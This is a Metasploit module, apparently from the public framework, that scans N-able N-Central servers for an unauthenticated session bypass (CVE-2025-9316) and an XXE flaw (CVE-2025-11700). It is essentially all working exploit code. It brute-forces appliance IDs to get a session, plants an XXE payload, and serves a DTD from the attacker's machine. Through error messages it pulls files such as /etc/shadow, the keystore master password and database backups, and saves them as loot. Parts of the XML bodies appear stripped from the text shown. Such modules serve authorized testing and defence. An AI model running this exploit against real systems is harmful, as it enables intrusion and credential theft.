# -*- coding: binary -*- ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Retry include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'N-able N-Central Authentication Bypass and XXE Scanner', 'Description' => %q{ This module scans for vulnerable N-able N-Central instances affected by CVE-2025-9316 (Unauthenticated Session Bypass) and CVE-2025-11700 (XXE). The module attempts to exploit CVE-2025-9316 by sending a sessionHello SOAP request to the ServerMMS endpoint with various appliance IDs to obtain an unauthenticated session. If successful, it then tests for CVE-2025-11700 by writing an XXE payload file and triggering it via importServiceTemplateFromFile. Files of interest that can be read via XXE: - /opt/nable/var/ncsai/etc/ncbackup.conf - /var/opt/n-central/tmp/ncbackup/ncbackup.bin (PostgreSQL dump) - /opt/nable/etc/keystore.bcfks (encrypted keystore) - /opt/nable/etc/masterPassword (keystore password) Affected versions: N-Central < 2025.4.0.9 }, 'Author' => [ 'Zach Hanley (Horizon3.ai)', # Discovery 'Valentin Lobstein ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-9316'], ['CVE', '2025-11700'], ['URL', 'https://horizon3.ai/attack-research/attack-blogs/n-able-n-central-from-n-days-to-0-days/'] ], 'DisclosureDate' => '2025-11-17', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options([ OptIntRange.new('APPLIANCE_ID', [true, 'Appliance ID range to test (e.g., 1-30)', '1-30']), OptString.new('LOG_PATH', [true, 'Directory path where the log file is written', '/opt/nable/webapps/ROOT/applianceLog']), OptString.new('FILE', [ true, 'File to read via XXE (e.g., /etc/passwd, /opt/nable/var/ncsai/etc/ncbackup.conf, ' \ '/var/opt/n-central/tmp/ncbackup/ncbackup.bin, /opt/nable/etc/masterPassword, /etc/shadow)', '/etc/passwd' ]) ]) register_advanced_options([ OptInt.new('XXETriggerTimeout', [false, 'Maximum time to wait for XXE file read to succeed', 10]), OptEnum.new('DTD_PROTO', [false, 'Protocol to use in DTD URL and for the local server (http or https). The local server SSL is synchronized with this option.', 'http', ['http', 'https']]) ]) end def run @dtd_filename = "#{Rex::Text.rand_text_alpha(8..15)}.dtd" # Synchronize SSL with DTD_PROTO: N-Central (Java) cannot validate self-signed certificates and will fail with: # "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: # unable to find valid certification path to requested target" start_service({ 'ssl' => (datastore['DTD_PROTO'] == 'https'), 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => '/' } }) print_status("Started XXE DTD server on #{srvhost_addr}:#{srvport}") super end def run_host(ip) print_status("Scanning #{ip}:#{rport} for N-Central vulnerabilities") service = report_service( host: ip, port: rport, proto: 'tcp', name: 'http', info: 'N-able N-Central' ) # Test for CVE-2025-9316 (Authentication Bypass) session_id, appliance_id = test_auth_bypass unless session_id && appliance_id vprint_status("#{ip}:#{rport} - Not vulnerable to CVE-2025-9316 or requires different appliance ID") return end print_good("#{ip}:#{rport} - Vulnerable to CVE-2025-9316 (Authentication Bypass)") print_good("#{ip}:#{rport} - Obtained session ID: #{session_id} (appliance ID: #{appliance_id})") report_vuln( host: ip, port: rport, service: service, name: 'N-able N-Central Unauthenticated Session Bypass', refs: ['CVE-2025-9316'], info: "Session ID: #{session_id}, Appliance ID: #{appliance_id}" ) # Test for CVE-2025-11700 (XXE) using the obtained session test_xxe(session_id, appliance_id, service) end def test_auth_bypass Msf::OptIntRange.parse(datastore['APPLIANCE_ID']).each do |appliance_id| vprint_status("Testing appliance ID: #{appliance_id}") soap_body = <<~XML #{appliance_id} XML res = send_soap_request('/dms/services/ServerUI', soap_body) unless res vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - No response from server, stopping") return [nil, nil] end session_id = parse_session_id(res.body) return [session_id, appliance_id] if res.code == 200 && session_id next if expected_error?(res.body) end [nil, nil] end def expected_error?(body) body_lower = body.to_s.downcase [ 'invalid version sent to hello', 'appliance type does not exist', 'appliance type id error', 'invalid appliance version' ].any? { |err| body_lower.include?(err) } end def test_xxe(session_id, appliance_id, service) vprint_status("Testing CVE-2025-11700 (XXE) with session ID: #{session_id} (target file: #{datastore['FILE']})") @nonexistent_path = Rex::Text.rand_text_alpha(8..15) xxe_payload = build_xxe_payload encoded_payload = Rex::Text.encode_base64(xxe_payload) unless write_xxe_payload(session_id, encoded_payload) vprint_error('Failed to write XXE payload file') return end payload_file = build_log_file_path(appliance_id) file_content = retry_until_truthy(timeout: datastore['XXETriggerTimeout']) do res = trigger_xxe(session_id, payload_file) next nil unless res extract_file_contents(res.body) rescue StandardError => e vprint_error("Error during XXE trigger: #{e.message}") nil end unless file_content vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - XXE triggered but could not extract file contents from response (timeout or no content)") return end print_good("#{Rex::Socket.to_authority(rhost, rport)} - XXE file read succeeded (CVE-2025-11700)") print_line print_line(file_content) print_line stored_path = store_loot('nable.file', 'text/plain', rhost, file_content, datastore['FILE'], "XXE file read - #{datastore['FILE']}", service) print_good("Stored #{datastore['FILE']} to #{stored_path}") report_vuln( host: rhost, port: rport, service: service, name: 'N-able N-Central XXE Vulnerability', refs: ['CVE-2025-11700'], info: "XXE triggered via importServiceTemplateFromFile - File: #{datastore['FILE']}" ) end def build_xxe_payload # NOTE: DTD_PROTO controls the protocol in the DTD URL that the target will use to fetch the DTD. # The local server SSL is synchronized with DTD_PROTO. N-Central (Java) cannot validate self-signed certificates # and will fail with: "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: # unable to find valid certification path to requested target". HTTP works fine for XXE exploitation. dtd_url = "#{datastore['DTD_PROTO']}://#{srvhost_addr}:#{srvport}/#{@dtd_filename}" template_name = Rex::Text.rand_text_alpha(8..15) ent_xxe = Rex::Text.rand_text_alpha(4..8) <<~XML %#{ent_xxe}; ]> #{template_name} XML end def build_log_file_path(appliance_id) log_dir = datastore['LOG_PATH'] || '/opt/nable/webapps/ROOT/applianceLog' "#{log_dir}/network_check_log_#{appliance_id}.log" end def write_xxe_payload(session_id, encoded_payload) soap_body = <<~XML #{session_id} NETWORK_CHECK_LOG #{encoded_payload} XML res = send_soap_request('/dms/services/ServerMMS', soap_body) unless res vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - No response from server when writing XXE payload, stopping") return false end res.code == 200 end def trigger_xxe(session_id, file_path) soap_body = <<~XML #{session_id} 1 #{file_path} XML send_soap_request('/dms/services/ServerUI', soap_body) end def send_soap_request(endpoint, soap_body) soap_request = <<~XML #{soap_body} XML send_request_cgi({ 'uri' => normalize_uri(target_uri.path, endpoint), 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'data' => soap_request, 'headers' => { 'SOAPAction' => '""' } }) end def parse_session_id(response_body) response_body.downcase.match(%r{]*>(\d+)})&.[](1) end def extract_file_contents(response_text) # Extract file contents from SOAP fault detail - handles different instance formats patterns = [ %r{\[tid:[^\]]+\]\s*/(.*?)(?:\s*\(File name too long\))?}m, %r{/(.*?)(?:\s*\(File name too long\))?}m, %r{[^<]*?/(.*?)(?:\s*\(File name too long\))?}m ] patterns.each do |pattern| match = response_text.match(pattern) next unless match content = match[1].strip next if content.empty? || content.include?('') content = content.sub(%r{^[^\n]*?/}, '') if content.match?(%r{^[^\n:]*:/}) return content unless content.empty? end nil end def on_request_uri(cli, req) super print_status("Received request: #{req.method} #{req.uri} from #{cli.peerhost}") unless req.uri =~ %r{/#{Regexp.escape(@dtd_filename)}} vprint_status("Request URI doesn't match DTD filename, returning 404") send_response(cli, 'Not Found', 404) return end handle_dtd_request(cli) end def handle_dtd_request(cli) print_status("DTD requested from #{cli.peerhost}") dtd = make_xxe_dtd vprint_status("Sending DTD (#{dtd.length} bytes): #{dtd[0..100]}...") send_response(cli, dtd, { 'Content-Type' => 'application/xml-dtd', 'Connection' => 'close' }) end def make_xxe_dtd ent_file = Rex::Text.rand_text_alpha(4..8) ent_eval = Rex::Text.rand_text_alpha(4..8) # Error-based XXE: inject file content into non-existent file path # The FileNotFoundException error message will contain the file contents <<~DTD "> %#{ent_eval}; %error; DTD end end